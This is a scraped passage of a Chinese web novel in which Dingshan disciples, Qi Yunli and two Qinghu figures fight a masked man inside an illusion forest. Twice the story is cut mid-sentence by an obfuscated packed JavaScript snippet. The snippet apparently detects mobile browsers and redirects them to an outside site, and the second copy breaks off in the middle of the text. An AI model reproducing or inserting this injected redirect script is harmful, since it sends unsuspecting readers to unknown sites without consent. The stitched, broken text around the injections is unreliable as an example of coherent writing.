众人虽然还是看不到来者是谁,但已经能凭借微小差异和龙息波动变化出招。卫池更是冲在最前面,其他人不知道来者在干什么,但是看到他怎么打就清楚。 而他对龙息波动变化已经极其熟悉。 即使肉眼无法捕捉,但四周龙息一动就明白发生何事。 于是在狭长山路上,鼎山弟子跟虚空打起来。 在鼎山幻境里,即使已经死伤无数,但还是有人在对抗。 仿佛生死之事轻如鸿毛。 卫池冲在最前面,其他人就在后面辅助他,没人知道在打什么,但所有人都明白必须打。 止水宗引他们进入仙子林,估计早就布置好一切。 虽然不清楚具体情况,但厮杀是绝对必要的。 止水宗素来丧心病狂,又跟鼎山势不两立,因此绝不会手软。 鼎山弟子都知道不可小觑止水宗,不过谁也没料到还有这种事。 肉眼不可见的来者攻势猛烈,众人前后受伤,李宜敏和陆顷己就赶紧冲过去疗伤。疗伤结束,受伤的人又冲上前厮杀。 即使不知道来者意图,但绝不能让他走到禁地。 ——这是众人共识。 太阴白泉没有龙息压迫,仙子林也没有,但幻境里的龙息重压将众人逼得都有点窒息。本就呼吸不畅,四周又都是鼎山中人的尸体,更加无法呼吸。 他们发现自己的过往经历与此相比都无关紧要。 毕竟那都是年少痛苦,而眼下是不知何时会发生的灭顶之灾。 上鼎山修道学艺其实也是帮家里解决生活困顿,鼎山弟子会定期到各地分发物资,顺便解决一些事情。 比起修为高深、世人瞻仰,他们更希望家里没人忍饥挨饿。 出发点很简单,可如今发现居然是这种结局。 生死之事他们早已看淡,如果只是个人灰飞烟灭,那就仅此而已。 但鼎山上下遍布尸体、血流满地,谁都无法接受。 看起来像是有人想一路向上直抵禁地,所有鼎山中人都在拼命阻拦。 谁都知道渺无希望,但谁也没有后退。 最后到飞泉院时,整个鼎山只活着一个人。 可一人之力无法对抗这种毁天灭地的力量。 “用元气布阵!”宋安合一声大喊,他经验丰富所以摸清些门道。 此地有龙息那么也有元气,龙息无法使用,那就用元气。 龙息压迫在幻境里甚是明显,或许元气可以打破这种局面。 毕竟龙息和元气也就是一阴一阳。 卫池还在前方厮杀,鼎山弟子就在后面合力布阵,即便是李宜敏和陆顷己都参与其中。此地龙息微不可察,元气却充足盈满。 阵法一出,山下动静就骤然变小,仿佛那个肉眼不可见的东西也受元气影响。 鼎山弟子无法看到那个东西,那个东西也无法看到元气。 “用元气打他!”卫池立即喊道。 话音刚落,鼎山弟子的攻击就连绵不绝使出来。虽然不能刀刀见红,但都是借元气之力向前攻击。 即使那东西还是无法肉眼识别,不过前进步伐明显变缓。 虽然鼎山已死伤无数,血流满地,但最后几个鼎山弟子一直在抵挡,没有人停手。 就算一无所知,他们也明白绝不能让那个东西进入禁地。 卫池在前方用剑,鼎山弟子在后面施法布阵,居然还真的挡住那个东西。 势不可挡的虚空一时也迟疑起来。 原本胜负已定,谁知又出现新局面。 成百上千的人都无法拦住的脚步,最后十个人都不到就挡住前进方向。 鼎山弟子没有修为高深之人,结果却做到这一步。 前进势头停下来,众人也不禁松口气。 要说这只是幻境,谁都不信。 鼎山弟子觉得这就是真正的你死我活。 那个上山的东西似乎叹了口气,然后四周陡然一变。 之前还山势陡峭,结果转眼就变成市井喧嚣。来往行人不多,但路边都是卖东西的摊贩。 有对夫妇走过去左挑右选,随后讲价很久,最后买下一个很小的平安符。 他们高兴地往回走,走到平缓土坡下就伸手打招呼。 土坡上没有人,不过有个小棚子,他们喊完棚子大门就从里面打开。 只是里面的人还没出来,土坡下的两人就已惨遭毒手。 不知道哪里出来的风刃将他们劈成两半。 寻常可见之处突然血流满地。 门已经打开,但始终没人出现。 似乎里面的人听到动静,不敢动弹。 不远处的鼎山弟子都屏息凝气,刚才还在鼎山厮杀,谁知转眼就来到市井街道,等那对夫妇走到山坡下又突然惨死当场。 卫池站在那里脸色苍白,因为大门后面就是年幼的自己。 倒在血泊中的就是他亲生父母。 轮回那么多次,虽然无法改变家里经济状况,但还是能确保在拜入鼎山后,父母能有个安稳日子。 历经腥风血雨,也就知道荣华富贵都虚无缥缈,平安健康才是真。 但这次轮回不知道怎么回事,突然就父母双亡。 虽然不像幻境里那般惨重,但是相当蹊跷。 他一直怀疑有人动手脚,可始终找不出证据。即使那个青湖说起此事,卫池也只能恨不得自我了断。 如今幻境里的父母惨遭毒手,是否就能趁机找出真凶? 幻境里的惨状没有惊动任何人,所有人都屏息凝气,因为他们都知道风刃绝对出自某个人。 过了一会儿,棚子里的小孩才走出来,他颤颤巍巍走下山坡,来到尸体旁。 当他伸手想碰触血泊中的父母时,又有风刃席卷而来,明显就是将他当作攻击目标。 不过在风刃扑到他跟前的瞬间,有阵法陡然出现,将风刃挡住。 风刃在阵法上耗尽最后一丝气力就消失不见。 然后有个头戴斗笠的男子出现,斗笠边缘还有轻薄白纱遮脸。 他长叹一声就走过去,轻轻掸去小孩身上被风吹来的尘土,然后说:“眼下世间不太平,邪魔歪道胡作非为,你父母不幸罹难,自己要小心啊。” 小孩没有说话,也没有表现出胆怯震惊,只是低下头。 虽然其他鼎山弟子没反应过来,但卫池已经发现那是面具人的声音。 他能在幻境里出现,必然早就准备多时。 眼下面具人出现在那个地方,也就是说自己父母离奇死亡都是他所为。 卫池没有动手,只是握紧拳头。 鼎山灭门都是那个人所为,没想到父母双亡也是拜他所赐。 如此丧心病狂,也不知道究竟是为什么。 头戴斗笠之人四处张望,众人在幻境里自然就被发现。 树下站着几个人显得相当可疑,何况之前还发生过杀人案。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121992|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们是什么人?”面具人的声音有些警惕。 宋安合开口解释:“路过此地的鼎山弟子。” 其他人只是站在原地皱紧眉头,谁都知道有问题,但谁也不敢确定实情。 “你们见死不救?”面具人听起来有些生气。 鼎山中人在世间口碑一直是除暴安良、舍己救人,但眼下这一幕与传说截然不同。 有人惨遭毒手,而他们只是静静旁观。 这是鼎山弟子不好解释的事,即使知道只是幻境,但他们的确见死不救。 众人沉默不语,最后是受害者家属卫池回答:“我们过来时,人已经死了。” 他声音很平稳,似乎血泊中的两人与自己无关。 其他人不知道两边关系,也就没奇怪他的态度。 宋安合赶紧说:“之前有风刃突如其来,我们还在远处,那两人就已倒地。” 这是一种常见现象,偷袭是魔道中人最喜欢的事。 “唉,邪魔歪道总喜欢以此取乐,”面具人低头一叹,似乎已经接受现实,“那这个小孩你们带回鼎山?” 鼎山经常收无依无靠的小孩上山修道,眼下那个小孩的遭遇正好吻合。 “今日有要事,他还是别跟我们一路走。”宋安合解释。 听到这句话,小孩的头更低了。 卫池知道年幼的自己不会说一个字,但有些事不是只有话语才能表达。 鼎山灭门惨案他没跟任何人提及,不过那些交换魂魄之人似乎知道。 因此在平时交谈相处时总是诸多谦让。 所以卫池才会反复去救那个虚无缥缈的幻影。 只是无论怎么救,最后都是死路一条。 他心情有些沉重,其他鼎山弟子则生怕跟幻境中人产生牵连。 众人只是偶入幻境的过客,就没必要干涉其中因果。 仙子林已经很乱,止水宗一来就更乱,不知道还会乱成什么样。 众人闭口不谈,面具人却一声怒骂:“不救又不带,我看那两个人就是你们杀的!” 空口无凭的事那人说得证据确凿。 鼎山弟子原本还搞不清当前状况,但如此明显的敌意再怎么迟钝也知道有问题。 之前他们在鼎山合力布阵抵挡,随后四周环境大变,又呈现出寻常可见的市井街道。 不过变的只是环境,不是敌意。 众人拔剑布阵,合力对抗面具人。 但眼下打斗有可能牵连普通人,即使知道是幻境,他们也不得不有所收敛。 只要动静别太大,不远处的其他人应该就不会受到影响。 可面具人无所顾忌,愈发肆无忌惮起来。 无论四周有没有人,对他来说都无关紧要,毕竟这里只是一本书。 写书的人要是还被书里的人打败,那就天理难容。 一边束手束脚,一边大开大合,两边出现明显差异。 之前在鼎山奋力厮杀的人,此时要考虑不远处突然出现一个路人,所以在打斗时必须时刻留意四周动静。 最前面用剑的卫池则受到之前场景的影响,再怎么拼命也难以忘记血泊中的父母。 曾经他们离奇死亡,刚才又惨遭毒手,无论如何卫池都无能为力。 种种顾虑让众人一时忘记元气的事,因此势头越来越弱。 眼看面具人就要打中鼎山弟子,卫池冲过去用右手挡住攻击。虽然鲜血淋漓,也使攻击势头停止。 面具人气极,就将卫池一掌出打三丈远,直接落在众人背后,鼎山弟子也来不及过去救人。 然后他趁机重伤好几人,鼎山弟子再厉害也不是对手。 眼看已经没有生机,不过刹那间四周环境猛然一变,市井街道全都消失无踪,不远处只是站着一个人。 没有布局辅助面具人就势头骤然一减,鼎山弟子赶紧逃远。 之前的幻影消失,面具人也跟着不见踪影。 一时间所有人的目光都汇聚在单独站立之人身上。 ——那个人就是青湖。 鼎山弟子顿时热泪盈眶,没想到居然被青湖师叔所救。 以前听都没听说过这个人,是他们太过大意。 他们长舒一口气,马上回应救命之恩。 不过站在那里的青湖只是说:“你能活着走到这里,果然不出我所料。” 声音很平稳,但说话内容有点惊悚。 她望着鼎山弟子身后,那里站着刚被打过去的卫池,还有扶着他的另一个青湖。那人面色惨白,冷汗直流,全身上下都被汗水浸湿。 那是刚从千溪镇赶过来的齐云鲤,她见仙子林里有阵法动静,便走过来一看。结果一来就发现卫池被打倒在地,于是上前扶起他。 没想到抬头就发现站在不远处的另一个青湖。 虽然幻境里只有青湖一人,但齐云鲤已回想起久远过去。 她很久以前就穿书过来,不过最后死在青湖手上。 46. 两个青湖 离开千溪镇,齐云鲤就朝仙子林走去。 外面没有石板路都是土路,此地湿润多雨,因此她能辨认出地上痕迹。 小镇外围有不少交错踩踏的脚印,但是越往外痕迹就越集中,最后所有脚印全都朝一个方向,那就是仙子林。 看来鼎山弟子全都走进仙子林,想都不用想也知道是止水宗引过去的。 之前黄云曳带着人炉拖住齐云鲤,想必仙子林里有大事。 面具人中途撤离,估计也是去往那边。 虽然知道不对劲,但齐云鲤也只能赶往那个方向,顶多就是带上一把平安符,方便幽冥大帝施展神通。 仙子林里树木成荫、郁郁葱葱,颇有一番生机。 但是望见里面退出来两个人,他们还在施法布阵,齐云鲤就知道大事不好。 于是她冲过去就将那两个止水宗人打趴下,然后逼问他们干了什么。 止水宗人不擅打斗,因此毫无还手之力,就说他们只是听令行事。还有个止水宗以外的高人在布局,具体情况就不是他们这种蝼蚁能知道的。 那两人说不出什么,齐云鲤就问阵法的事。 他们说反正能让仙子林阵法被人操控,具体情况也不清楚。 基本一问三不知,齐云鲤气得把那两个人打晕。 操控阵法的绝对是面具人,他熟悉小说剧情,能做出来的事估计超出想象。 不填坑就算了,还来五花八门害人。 齐云鲤没有破坏阵法的把握,于是在仙子林外摆上香炉,又是上香又是祈福,最后拿出一个平安符放在香炉前面。 这种事只能靠幽冥大帝,她也没有把握,而且走到仙子林外不祥之感陡然上升,仿佛一会儿就要气绝身亡。 在外面上香祈福也是平息心中恐惧。 仙子林阵法能引出人心中的恐惧,谁知道一会儿要出来什么。 齐云鲤越想越怕,之前打那两个止水宗人也是想平息这种感觉,结果完全没用。最后她只能劝自己,再不进去里面的人就要死。 人命关天,再怕也不能逃。 因此齐云鲤只能强行镇定,慢慢进入仙子林。 走进林间,四周环境就猛然一变,原本的平地瞬间变成陡峭山林。齐云鲤爬着山,越爬越感觉像是要去白鹭坪。 不过等爬到最高处,四周景色又陡然变成市井街道,齐云鲤看到路边的小商小贩,也不清楚是怎么回事。路上没人叫自己,她便没停下脚步。 再走几步又变成郊外山野,这时周遭环境与仙子林有天壤之别,齐云鲤便不再那么怕。 往前几步就听到打斗声,齐云鲤知道来对地方,便加快步伐。 前方树丛后面,卫池被人打倒在地,虽然看起来没什么伤势,但脸色很不好。 不用想都知道打他的是面具人。 于是齐云鲤跑过去扶起他,见他神情有些恍惚,还安慰几句。 谁知四周环境又是一变。 陡峭山林和市井街道都是过眼云烟,这里只有仙子林,地势平坦、草木茂盛。 齐云鲤不由自主就抖起来,她抬头一看,更是吓得快要窒息。 因为前方站着一个人,那就是青湖。 之前她在镜子里看见青湖的脸就吓出冷汗,谁知现在青湖直接站在那里。 仙子林阵法能引出人心深处的恐惧,齐云鲤担心一路,总算看到结果。 自己最怕的就是青湖。 虽然有各种理由来解释附身一事,但全都是借口。 齐云鲤知道这就是突如其来,毫无征兆。 眼下青湖站在那里,仿佛是失主过来抓小偷。 她以为这就足够恐怖,结果青湖还说出一句话。 “你能活着走到这里,果然不出我所料。” 齐云鲤瞬间被冷汗浸湿全身,完全想起曾经发生过什么。以前穿书过来进入鼎山修道,结果最后死在青湖手上。 她说自己怎么怕成那样,杀人凶手能不怕吗? 眼前没有出现新幻境,但齐云鲤已经看到那时情景。 身为鼎山弟子的她与青湖在仙子林对峙,因为之前发生一件匪夷所思的事。 其他人差点全灭,最后是她紧急施展小说里没有的术法,才救下那些人。 感觉事情有点诡异,所以她让其他人赶紧撤离,自己留下来查看。 只是没想到独自留在树林时,青湖竟然从前方慢慢走出来,还说:“既然你能做到,那么该死的就是你。” 仿佛她是评委,齐云鲤是参赛选手。 不过一争输赢的结果只有死。 这句话冲击太大,那时的齐云鲤直接愣住,之前的匪夷所思看起来就不像自然发生,因此她独自留在仙子林。 那里有各种稀奇古怪的传说,还有三渺宗在附近出没。 因此发生一些出乎意料的事也合情合理。 ——只是没想到那都是出自青湖之手。 仙子林原本就有阵法,只要能扛住幻境迷惑,然后在此基础上施法布阵,就能效果翻倍。 这是绝无可能做到的事,人人都知道,不过没人能做到。 但青湖就不是常人。 ——做为穿书者的齐云鲤也不是。 所以她并没有吓得惊慌失措,只是问:“之前是你干的?” “刚才是你干的。”青湖伸手示意四周阵法。 那些阵法原本微不可察,却能发挥出人意料的功效。 可是在千钧一发之际,齐云鲤出手破坏阵法。 在场鼎山弟子没人发现此事,但青湖看得很清楚。 话已至此,双方都明白彼此的意思。 齐云鲤使出超脱世间的招式,青湖就要将这种人赶尽杀绝。 无论在鼎山有多熟,总有一个人的性命到此为止。 早就被青滔打习惯的齐云鲤并没有胆怯,只是拔出长剑。 或许是碍于情面,青湖一开始并没有施法布阵,仅仅只是用剑法跟齐云鲤一决生死。两人打了一段时间,青湖这才施展功法,那是极其简单的招式。 可面对简单易懂的术法,齐云鲤却完全不能招架。 那与之前匪夷所思的布局是一种风格。 简单的只有最外层,一旦深入就会知道没有活路。 看起来简单,只是为了让你放松警惕。 于是齐云鲤被一剑封喉,倒地不起。 即使现在她还记得青湖的剑法,以为稀松平常结果让人毫无生机。 往事历历在目,当前青湖又站在那里,齐云鲤不知道还会出什么事。 不过周围还有其他人,所以她不能胆怯,一旦出事就不是自己的生死问题,而是鼎山弟子全军覆没的问题。 齐云鲤顺势问:“你还料到什么?” 这个问题很谨慎,什么也没透漏,又想得到更多信息。 不过青湖只是说:“之前找错人了。” 这是在交代往事起因。 青湖一直在找该杀之人,所以将齐云鲤认成那个人。 直到天地再次轮回,她才发现问题依然没有解决。 由于她跟九炼洞窟有联系,所以记忆不受轮回影响。 其他人都是从头再来,她却拥有极长记忆。 每次都亲身经历,每次都没能解决问题。 ——该杀之人还活着。 所以她想出所有可能,做好一切准备,只为给面具人致命一击。 之前青湖吩咐过花芙一些事,因此她问:“安排妥当吗?” 齐云鲤不知道究竟什么事,只能点头。 “那是什么?”青湖指着远处天空。 那里有一朵云,不过云里还有其他事物正在发出闪电,劈里啪啦响个不停。雷火藏在软绵绵的云朵里,显得有点威慑吓人。 “那是要杀你的人。”齐云鲤已经冷静下来。 一连串幻境变化必然是面具人所为,此时要命的幻境彻底消失,只有青湖一人站在那里。这是齐云鲤的恐惧,不过面具人估计要气死。 他谋划多时、准备良久,结果场子直接被掀。 不过之前布局虽然消失,但接下来还有一场轰轰烈烈的打斗。 青湖之前的安排估计也是为此而来。 既然两边都不想停手,那就大打特打,反正都不是善茬。 一边正事不干专门害人,一边认错人还痛下杀手,真是旗鼓相当。 鉴于之前自己惨死在青湖手上,齐云鲤也不想让她太好过。 于是说:“他不会剑法,你没有剑,其实就是半斤八两。” 这是同时嘲讽两边,只能运用龙息的人身处龙息不可碰触之地,擅长剑法的人却只有自身幻影没有剑。 虽然铁证如山,可青湖却说:“我随时能有剑。” 她伸手一挥就变出一把长剑,然后有鼎山弟子发现手里的剑消失不见。而且不止一个人,所有人的剑都消失殆尽。 不过青湖手里出现的全新长剑,明显刚出炉。 这是煅剑城城主才知道的锻造之术。 不久前鼎山弟子才见识过青湖师叔随手锻造兵刃,没想到眼下更出神入化。 “你们快走吧,不然会全军覆没。”青湖说得有些决绝。 齐云鲤感觉不妙:“……千溪镇怎么办?” “我尽量不打出去。”青湖皱起眉头。 说完这句话,青湖就冲进白云,其他人这才呼出一口气。 几个鼎山弟子晕乎乎的,仙子林阵法可以引出人心深处的恐惧,怎么青湖师叔怕的是自己,而且双方还能正常对话? 要不是之前经历过鼎山灭门,他们都要以为其中一个不是青湖师叔。 只能说止水宗手段太过出人意料,完全想不到还有什么花招。 之前他们发现一个青湖师叔的时候,还以为那是救命恩人。 结果身后还有一个扶着卫池,两人一模一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只有同时在白鹭坪学剑的卫池知道齐云鲤是真抗揍,而且无论青滔如何刁难,她都能稳妥学习剑法。 虽然没有超群绝伦,但是稳妥得不会出现任何偏差。 在白鹭坪学剑时,齐云鲤说了很多鼓励卫池的话,最后说连青滔都能收她为徒,那就没有什么不可能。 那时的卫池还叫卫长夜,齐云鲤便指着白鹭坪下方的玄镜池说,其实夜空能照在池水里,夜晚低头看向池水也算是望着漆黑苍穹。 漫漫长夜其实也就是一汪池水。 既然上善若水,水善利万物而不争,那么水中夜色也能如此。 水中就有长夜,夜色将水包围,所以水就是夜。 卫池之前只觉得自己是祸根,一路都在害人,没想到还有这种说法。 父母很早就发现他身为人炉的特质,不过没有像旁人一样将他交给止水宗。而是一路跋山涉水来到鼎山,让他拜师学艺。 世人因鼎山没空派人去接收人炉,所以通通将人炉送往止水宗。 但他父母知道止水宗人炉处境后,就决定亲自前往鼎山。 路上还会有止水宗人出来阻拦,但卫池父母千方百计躲过种种危险,最终让他成功拜入鼎山。 之前卫池觉得卫长夜这个名字就跟自己的命运一样黑暗。 但齐云鲤说水就是夜,而上善若水。 这句话并非虚无缥缈,反而像鼎山弟子一样实在。 他们都是资质平平的普通人,在其他修道人士看来连跟自己过招的资格都没有。 可就是这样一群人挑起龙息压迫的重担,让天下苍生不会始终被龙息压迫困扰,苦痛终有尽时。 论修为功法,他们连刚入门的三渺宗人都不如。 可若是拿出他们承担的责任,就连赫赫有名的世外高人都比不上。 这样看来仿佛真的如齐云鲤所说——水就是夜,夜就是水,而上善若水。 在这种鼓励下卫池的学剑进程明显加快,都开始能跟青滔过招比剑。 他修炼得越来越好,以至于都能带一群鼎山弟子下山教训止水宗。 一切似乎越来越好。 但齐云鲤跟元真大吵一架,之后两人就一直冷战。 她们之前总是形影不离,后来却没说过一句话。 之前好得跟一个人似的,但从那以后即使同处一室也隔得很远。 鼎山弟子不知道她们到底吵什么,但情况如此恶劣,人人都心急。 因此等卫池可以下山去千溪镇时,他便邀请齐云鲤一路同行,之前她跟元真吵架也是因为这个。 元真已经去过千溪镇,而齐云鲤没有去,说不定过去一趟就能和好。 千溪镇之后那两人果然和好。 ——不过齐云鲤已经死了。 47. 二合一 那时鼎山弟子紧急撤出仙子林,冲回地六镖局说出这件事。 地六镖局觉得事情蹊跷,就请辈分更高的鼎山中人前往仙子林。 可是等众人再次走进树林时,齐云鲤已经死在那里。 而且喉部有明显剑伤,是被人所杀。 仙子林之前的诡异布局已经消失,只有一具冰冷尸体倒在那里。 一时间在场所有人都被此震慑,再也没有能比得过这一幕的恐惧。因此没有幻影出现,也没有恐惧被引出。 联系之前的情况,似乎一连串匪夷所思的变化都是为了将她置于死地。 鼎山弟子都是初出茅庐的后辈,就连跟人结仇的机会也没出现。 谁都想不明白为什么会有人痛下杀手。 没人猜得出真凶身份,众人一路下山,齐云鲤就没有单独行动过。就算真的跟人结仇,也不可能只有她一人。 从一连串变化看来,布局之人杀心很重。 可所有布局都是为了杀死她,就连止水宗也干不出这种事。 众人连夜调查好几天,完全找不到起因。 尸体运回鼎山,元真直接把眼睛哭瞎,再然后流出来的就是血,不是泪。 虽然之前大吵一架,但两人关系很好,因此其他人只是劝说和疗伤。 没有人责怪卫池,但他觉得就是自己导致的惨剧。 因为齐云鲤最后的话是跟他说的。 当时仙子林里的阵法变化十分诡异,但卫池有东西遗落在里面,是父母曾经买给他的平安符。平安符很小很简陋,却是一种生的希望。 因此卫池想留在那里找寻,毕竟小得会被草叶盖住,其他人都看不到。 不过齐云鲤说她代为寻找就行。 发现尸体时,平安符就在一旁的地上。 那地方在仙子林的一个偏僻角落,通常不会有人过去。 其他人没留意到平安符,因为上面还挡着草叶。 但卫池一眼就发现。 没人知道她为什么会走过去,不过他知道。 曾经她说夜就是水,可后来他认为水也是夜。漫漫长夜无边无际,无论是水还是夜都不会有光。 照着夜色的水再也不会泛光。 之后他时常有些恍惚,总感觉当前事情曾经历过。如果不是心神不宁,也不会出现那种感觉。 后来有一天夜里,他看到飞泉院上空漂浮着什么,似乎是魂魄。 于是他朝鼎山山顶赶过去。 与此同时,鼎山弟子从山脚一路死上来。等卫池赶到飞泉院时,下面已经尸骸遍野。 他回头看到身后已血流满地,然后又发现鼎山禁地开始打雷。禁地冰天雪地,之前从未出现过雷霆,可那时的惊雷还逐渐移向飞泉院。 似乎马上就要劈到飞泉院上空。 他也不知道漂浮的东西是什么,不过无论如何都要保住。 当惊雷劈到飞泉院外时,漂浮之物略微缩小,似乎是被雷劈中。 卫池就放出自己的人炉之火,之前齐云鲤因他而死,那么现在就该舍身忘死,即便不清楚那边到底有什么。 谁知天雷劈下,一切就重新来过。 卫池被父母带着,躲避止水宗追杀,一路赶往鼎山。上山修道以后,出现一连串似曾相识的事,他还没反应过来是怎么回事,数年后又来到那个夜晚。 没有惊天雷霆,也没有漂浮之物,只有他站在飞泉院里浑身浴血,四周全是鼎山弟子尸体。 再次惊醒后一切又重来,躲避追杀,拜师学艺,鼎山灭门。 虽然每次都会出现奇奇怪怪的鼎山弟子,但最后都是鼎山灭门惨案。 卫池发现这就像轮回,结局早已注定,只是不断重复。 唯一不同只有那个鼎山怪人。 即使怪得五花八门,但是都没有恶意。 甚至还会帮卫池说话,而且都是些闻所未闻的东西。 所以他就反复去救那个不断惹事的怪人,即便最后还是会灭门。 如此重复十来次,鼎山灭门从来就没变过。 既然无论如何结局都一样,卫池便再次走进仙子林。虽然之前都避免踏进那里,但后来发现什么也做不了,也就没必要避开,不如进去找找线索。 可是等他进去以后,才发现仙子林里一切都截然不同。 曾经的稀奇古怪、匪夷所思通通消失不见,只有再次出现的灭门惨案。 卫池不断进出仙子林,想试试会不会出现别的幻境。 但自始至终只有鼎山灭门。 之前那些完全背离常态的现象根本没有重现。 他没见到有悖常理的事,只是不断重复鼎山灭门惨案。 最终卫池确定齐云鲤离奇死亡是有人偷袭,从始至终只偷袭过一次。 当前一个青湖转身冲进云里,另一个青湖愣在那里东张西望。 这就是偷袭者和被偷袭者,她们发现情况不对,似乎还商量好对策。 或许是之前的幻境变化消耗过大,这时仙子林竟前所未有的宁静。 众人仿佛只是呆在一个普通树林里。 “青湖师叔,刚才那个是你引出来的?”宋安合茫然无知地问。 两个青湖出现在仙子林,然后商量对策、分工合作,这是谁都想不到的。 齐云鲤数了一下鼎山弟子人数,就把平安符人手一个发给他们。 此地危险重重,只能靠幽冥大帝大显神通才能保平安。 发完平安符,她转过身才发现卫池还没有,又掏出自己备用的交给他。反正无论有没有平安符,幽冥大帝都会保护她。 “快点走,一旦慢了就来不及,”齐云鲤说完才想起前面的问题,就说,“难道还是你引出来的?” 宋安合无话可说,只能坐在那里让陆顷己疗伤。 鼎山弟子刚遭遇完一场大战,每个人都身心疲惫,谁也不想动。 可就在这时远处天空爆发一声巨响,然后有连绵不绝的火烧云四散开来。 齐云鲤抬头发现那边已经打得气势磅礴,一时雷电轰鸣,一时烈焰燎原,而且四周抖起来的地方越来越大。 仙子林旁边就是千溪镇,天边搏斗势必会影响到成千上万的百姓。 “快起来,赶快回去通知地六镖局,让千溪镇所有人立即撤离!”齐云鲤扬声道。 鼎山弟子和地六镖局从没接手过这么大的任务,在场众人都是一愣。 宋安合实在想不明白:“……千溪镇所有人?” “自己跑不掉的你们就背出去!”齐云鲤明确要求。 话一出口,鼎山弟子再累也只能爬起来。 最后李宜敏问:“往什么方向撤离?” 这话问得似乎众人还在纠结这种细节,齐云鲤咬紧牙关只能说:“往鼎山的方向去。” 方向一确定,众人拔腿就跑,最后只有卫池站在那里。 齐云鲤以为他行动不便就走过去,结果一靠近他就说:“打斗波及到千溪镇那边,先遭殃的是冥帝庙。” 她目瞪口呆,冥帝庙都在千溪镇另外一边。 见她难以置信,卫池就补充:“我有过相关经验,无论如何冥帝庙都会保护千溪镇。” “你腿没事?”齐云鲤只是问。 卫池一摇头,那个很久以前的救命恩人就已经冲出仙子林。 鼎山弟子从陆路离开仙子林,另外两个却直接飞到天上。 面具人在白云里施法布阵,引来电闪雷鸣。青湖一剑劈过去,便吸引附近雷电顺着剑锋劈向面具人。 雷电尚未消失,她又变出一个有熊熊烈焰的阵法,烈火向面具人扑过去。 因此天上的白云里面一时劈里啪啦,一时烧尽万物。 不过无论雷电还是烈焰都只是前奏。 ——真正的杀招早已安排好。 既然面具人无论如何都要鼎山灭门,那就让他亲自体验毁天灭地。 目前的青湖只是幻影,为了变出幻影的恐惧,她让花芙事先安排妥当。仙子林阵法无法破坏,那就让阵法更进一步。 人心的恐惧只是第一步。 恐惧的恐惧才至关重要。 青湖是齐云鲤的恐惧,而她的恐惧就是毁天灭地。 面具人不断让鼎山灭门、龙息涣散,也就是在反复毁天灭地。 青湖原本只是个闲散人员,什么事也不想管,谁的话也不想听。 但鼎山灭门之后她看到的就是天地毁灭。 其他人还没看到那一幕就已进入轮回,而她独自留在那里见证天地毁灭。 因此鼎山不断灭门,就是天地反复毁灭。 那个时候世间一切秩序都不存在,万事万物都在崩溃。 所以再怎么高深莫测的修道人士也只能等死。 青湖原本是类似心态,可毁于一旦之后又重新来过,她实在忍无可忍。 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毕竟他可是有不可估量的力量,而且超越这片天地。 于是在穷如陌路时,面具人使出一个很简单的招式。简单到无法对幻境产生任何影响,但也简单到万事万物都无法动摇。 正所谓大道至简,天地毁灭再怎么气势汹汹也无法撼动本源。 此地情况复杂,因此不便阵法转移,只能全靠自己跑。 当齐云鲤快冲到冥帝庙时,面具人将他从穿书者那边掠夺的力量全都放出来。 现实世界对小说世界的碾压世人完全没有能力反抗,即使是青湖的幻影也就此灰飞烟灭。 而那股超越世间万物的力还冲向千溪镇,此时鼎山弟子刚跟地六镖局交代完情况,正在撤离周围百姓。 铺天盖地的杀意也就是一望无际的死。 谁也没有办法,除非还有能与之对抗的力量。 ——而那个力量就在冥帝庙。 因此当穿书者之力扑到千溪镇时,冥帝庙也冲出穿书者之力,并且更快更强。 狭路相逢勇者胜,没有人能勇过扭转局面的幽冥大帝。 刹那间千溪镇一带有如天崩地裂,谁都无法逃离,谁也不能幸免。 人人都被震得忘记一切,无论生死都不重要。 太阴白泉是幽冥十二泉首泉,孤魂野鬼多的是。但此刻那些神出鬼没的东西全都扑往仙子林方向,挡在千溪镇前。 一时间仿佛所有鬼魂都听幽冥大帝号令。 这是穿书者与小说的合作。 即使是小说作者也敌不过现实世界和小说世界的合力。 而且就在这时石月观音也趁机出力,让莲花座出现在世间。上面签名都是穿书者的,如果穿书者之力要摧毁一切,那就是自取灭亡。 莲花座签名出现,穿书者之力骤然一缓。 原本石月观音跟齐云鲤说好,不能擅自行动。 但其他穿书者遗留之声突然一起痛哭,哭得她以为自己身处葬礼。 窗外玉兰花也有凋谢迹象,她瞬间就明白这是死到临头。 因此也不管什么承诺保证,得先让穿书者安分一点,否则谁都没有活路。 万千鬼魂和莲花座同时挡在穿书者之力面前,两股力量合二为一。 幽冥大帝再奋力一击,原本势不可挡之力也不得不偃旗息鼓。 天崩地裂时齐云鲤还在往前冲,等她冲到冥帝庙外,不远处的巨大冲撞已经消失。虽然之前震得仿佛谁都没有生机,但现在总算安静下来。 不过她刚舒一口气,仙子林上空的面具人又打来穿书者之力。 并没有铺天盖地,但是直冲冥帝庙。 幽冥大帝刚才已经耗尽所有功法,但穿书者之力仍有剩余。 齐云鲤再傻也知道有什么后果。 于是千溪镇所有人被震得昏头转向时,一条真龙从冥帝庙腾空而起,直接扑向仙子林。 那一带所有人全都目瞪口呆,即使身处室内也能感受到龙息威压。 在此之前,千溪镇从未有过龙息压迫。 但此刻的龙息只是从身边经过,没有任何停留。 原本会压迫周身的力随着一声龙吼冲向仙子林。 48. 飞龙在天 天下真龙已消失数百年,其间有成千上万的人想化龙,但始终没人成功。 因此众人潜心研究真龙形态,寻访各地查找真龙相关传说,力求完全还原。但无论如何还是没人能化龙,似乎再还原也棋差一着。 一步之遥就是天壤之别,无论怎么挣扎都是徒劳。 